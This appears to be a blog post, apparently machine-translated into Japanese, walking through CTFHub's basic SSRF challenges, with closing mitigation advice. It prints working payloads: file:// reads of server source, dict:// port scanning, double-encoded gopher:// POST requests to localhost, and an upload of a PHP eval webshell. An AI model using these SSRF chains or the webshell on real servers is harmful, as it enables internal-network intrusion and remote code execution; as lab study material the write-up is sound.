banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SSRF学習のctfhubターゲット-基礎部分

概念#

SSRF、正式には Server-Side Request Forgery、サーバーサイドリクエスト偽造は、攻撃者がサーバーを代表してリクエストを送信できるようにする脆弱性です。これにより、攻撃者は攻撃対象のサーバーのリクエスト署名を「偽造」し、ウェブ上で優位に立ち、ファイアウォールの制御を回避し、内部サービスへのアクセスを得ることができます。

形成原因:サーバー側が他のサーバーアプリケーションからデータを取得する機能を提供しているが、ターゲットアドレスに対して厳格なフィルタリングと制限を行っていないため、攻撃者は任意のアドレスを入力してバックエンドサーバーにリクエストを送信させ、そのターゲットアドレスに対するリクエストデータを返させることができます。

では、いつSSRFが発生する可能性があるのでしょうか?最も一般的なのは、サーバーが外部リソースを必要とする場合です。

例えば、webgoogleからサムネイル画像を読み込む必要がある場合、リクエストは次のようになります:

https://public.example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg

google.comからcutpugs.jpegを取得する際、Webアプリケーションはgoogle.comにアクセスし、google.comからコンテンツを取得する必要があります。

もしサーバーが内部リソースと外部リソースを区別しなければ、攻撃者は簡単にリクエストを発行できます:

https://public.example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt

そして、webサーバーが攻撃者のwebサーバーにパスワードを含むファイルを表示させることになります。

SSRF攻撃を受けやすい機能のいくつかを挙げると、Web hookURLを介したファイルアップロード、ドキュメントおよび画像処理、リンク拡張、プロキシサービス(これらの機能はすべて外部リソースにアクセスして取得する必要があるため)です。

PHP では:特定の関数の不適切な使用が SSRF を引き起こすことがあります。例えば:

  • file_get_contents (): ファイルを文字列に書き込む際、URL が内部ネットワークのファイルである場合、そのファイルの内容を読み取ってから書き込むため、ファイル読み取りが発生します。
  • fsockopen (): ユーザー指定の URL からデータ(ファイルまたは HTML)を取得するために使用される関数で、ソケットを使用してサーバーと TCP 接続を確立し、原始データを転送します。
  • curl_exec()、dict、gopher の 3 つのプロトコルを使用して浸透します。

危害:webアプリケーションが到達可能なサーバーサービスのbanner情報を取得し、内部ネットワークのwebアプリケーションのフィンガープリンティングを収集します。

これらの情報に基づいてさらに浸透し、内部ネットワークで実行されているシステムやアプリケーションを攻撃し、内部ネットワークシステムの弱いパスワードを取得して内部ネットワークを横断します。

脆弱性のある内部ネットワークのwebアプリケーションに対して攻撃を実施し、webshellを取得します。

脆弱なコンポーネントを利用してftp://、file://、dict://などのプロトコルを組み合わせて攻撃を実施します。

脆弱性発生点:

  • urlアドレスを介してウェブコンテンツを共有する
  • ファイル処理、エンコーディング処理、トランスコーディングなどのサービス
  • オンライン翻訳
  • URL アドレスを介して画像を読み込みおよびダウンロードする
  • 画像、記事のコレクション機能
  • 公開されていない API の実装およびその他の URL 呼び出し機能
  • ウェブサイトのメールが他のメールを受信する機能

urlキーワードから探す:

share,wap,url,link,src,source,target,u,3g,display,sourceURL,imageURL,domain

以下はctfhubのターゲットと組み合わせて実戦解説を行います。

0x01 第一題 内部ネットワークアクセス#

簡単なデモ:

まずは例を挙げてウォームアップしましょう。引き続きctfhubスキルツリーのweb第一題、内部ネットワークアクセスです。

問題のヒントは:127.0.0.1にあるflag.phpにアクセスしてみてください。

問題を開くと空白で、urlxxx.com:yyyy/?url=_です。

うん、いいですね、何を意味するのかわかりませんが、この記事はここで終わりです。。でしょうか?そんなことはありません。

url=127.0.0.1/flag.php

image

次に進みましょう。

0x02 第二題 ポートスキャン#

問題のヒントはポートが8000-9000にあるため、直接スキャンすればよいです。

ここではdict擬似プロトコルを使用してスキャンする必要があります。なぜなら、dictプロトコルは開いているポートを探るために使用できるからです。

擬似プロトコルについては、文末の参考記事を参照して学んでください。

image

image

ポート8605を取得しました:

image

flagを取得し、次の問題POSTリクエストに進みましょう。

0x03 第三題 POST リクエスト#

問題の説明は次の通りです。

「今回は HTTP POST リクエストを送信します。そうそう、ssrf は php の curl で実装されています。そして 302 リダイレクトを追跡します。頑張ってください、若者。」

ヒントから、SSRFを利用してPOSTリクエストを送信する必要があることがわかります。自然にgopherを思い浮かべます。

また、問題文でもcurlが言及されており、curlはちょうどgopherプロトコルをサポートしています。

したがって、この問題は高確率でgopherを利用してPOSTリクエストを送信し、flagを取得することになります。

まずはflag.phpが存在するか確認しましょう:

image

flag.phpは確かに存在し、返された中にdebugパラメータkeyがあります。

<!-- Debug: key=4a0c2731eeeb016454ef8984765b990d-->

私たちはgopherプロトコルを使用して302.phpのリダイレクトを通じてpost keyflag.phpに送信する必要があります。

ただし、127.0.0.1からデータを送信する必要があることに注意してください。

それでは、flag.phpindex.phpの内容を読み取れるか確認してみましょう:

/?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

/?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

擬似プロトコルについても文末の参考記事を参照して学んでください。

gopherデータを構築します。

まずは次のようにして

{host}:{port}/index.php?url=http://127.0.0.1/302.php

gopherプロトコルをリダイレクトし、POSTを構築します。gopherと組み合わせると、データパケットは次のようになります:

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=4a0c2731eeeb016454ef8984765b990d

上記のデータパケットの内容は一つも欠かせません。注意すべき点は:

  • 特に Content-Length の長さに注意してください。このフィールドは必ず必要で、長さが合わないといけません。
  • key を変更することに注意してください。
  • URL エンコーディングの回数は、リクエストの回数によって決まります。例えば、直接 POST リクエストを送信する場合は 1 回、直接?urlを打つ場合はさらに 1 回追加され、合計 2 回になります。

ここで、非常に便利なオンラインエンコーディングサイトをお勧めします。CyberChef

まず、左側の検索バーでurl encodeを検索し、この機能を機能バーにドラッグします。

上記のコードをコピーして、最初のURLエンコーディングの結果を得ます(注意:デフォルトでは特殊文字をエンコードする必要はありません):

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%20%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=4a0c2731eeeb016454ef8984765b990d

ここで改行を処理する必要があります。デフォルトの改行エンコーディングは%0Aですが、これを%0D%0Aに変更する必要があります。

したがって、ページの左側でFind / Replaceを検索し、機能バーにドラッグして設定します:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%20%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=4a0c2731eeeb016454ef8984765b990d

最後に、?urlを介して移動するため、もう一度エンコードする必要があります:

image

最終的なパケットは:

GET http://challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%2520%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=4a0c2731eeeb016454ef8984765b990d HTTP/1.1
Host: challenge-8270f589b8f8abf8.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja-JP,ja;q=0.8,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

パケットを送信してflagを取得します:

image

0x04 第四題 ファイルアップロード#

ヒントは

今回はflag.phpにファイルをアップロードする必要があります。幸運を祈ります。

直接127.0.0.1flag.phpにアクセスすると、ファイルアップロードインターフェースが表示され、webshellをアップロードするように指示されます:

image

しかし、選択ファイルのボタンしかなく、ファイルをアップロードするボタンがないようです。?url=file:///var/www/html/index.phpにアクセスすると、index.phpのソースコードが得られます:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

?url=file:///var/www/html/flag.phpにアクセスすると、flag.phpのソースコードが得られます:

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

if (isset($_FILES["file"]) && $_FILES["file"]["size"] > 0) {
    echo getenv("CTFHUB");
    exit;
}
?>

Webshellをアップロード

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

flag.phpは、アップロードされたファイルのサイズが 0 より大きいだけでflagを取得できることがわかります。フィルタリングはありません。

次に、gopherプロトコルを利用してファイルをアップロードしてみましょう。まず、ファイルアップロードのデータパケットを取得する必要があります。その後、gopherpayloadを作成します。

したがって、このファイルアップロードのflag.phpページをF12で前端改写し、submit送信ボタンを追加します。

(ただし、ここで送信ボタンをクリックしてもflagは取得できず、必ずターゲットマシンからローカルアクセスが必要です。)

1 行追加します:

<input type="submit" name="submit">

これで送信ボタンが表示されます:

image

適当にファイルを選択し、パケットをインターセプトして送信ボタンをクリックします。

image

flagにアクセスするにはローカルアクセスが必要なため、HOST127.0.0.1に変更します。

POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja-JP,ja;q=0.8,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------22285140113870486144781081380
Content-Length: 379
Origin: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

<?php @eval($_POST['a']);
-----------------------------22285140113870486144781081380
Content-Disposition: form-data; name="submit"

送信
-----------------------------22285140113870486144781081380--

その後、上記の操作と同様にurlをエンコードし、%0A%0D%0Aに変更し、さらにurlをエンコードします。

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64;%2520rv:84.0)%2520Gecko/20100101%2520Firefox/84.0%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8%250D%250AAccept-Language:%2520ja-JP,ja;q=0.8,en-US;q=0.3,en;q=0.2%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=---------------------------22285140113870486144781081380%250D%250AContent-Length:%2520379%250D%250AOrigin:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080%250D%250AConnection:%2520close%250D%250AReferer:%2520http://challenge-ad7efe5d754337a9.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests:%25201%250D%250A%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522yjh.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'a'%255D);%250D%250A-----------------------------22285140113870486144781081380%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------22285140113870486144781081380--%250D%250A

gopherプロトコルを使用すると、flagを取得できます:

image

修正提案#

  • 不要なプロトコルを無効にし、HTTP および HTTPS リクエストのみを許可することで、file://、gopher://、ftp:// などによる問題を防ぐことができます。
  • ホワイトリスト方式でアクセスするターゲットアドレスを制限し、内部ネットワークへのリクエストを禁止します。
  • リクエストの応答に含まれる詳細情報をフィルタリングまたはブロックし、リモートサーバーがリクエストに応じた応答を検証することが比較的容易な方法です。ウェブアプリケーションが特定の種類のファイルを取得する場合、返された結果をユーザーに表示する前に、返された情報が基準に合致しているかを検証します。
  • リクエストのファイル形式を検証します。
  • リダイレクトを禁止します。
  • リクエストのポートを HTTP の一般的なポート(例えば 80、443、8080、8000 など)に制限します。
  • 統一されたエラーメッセージを提供し、ユーザーがエラーメッセージに基づいてリモートサーバーのポート状態を判断できないようにします。

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。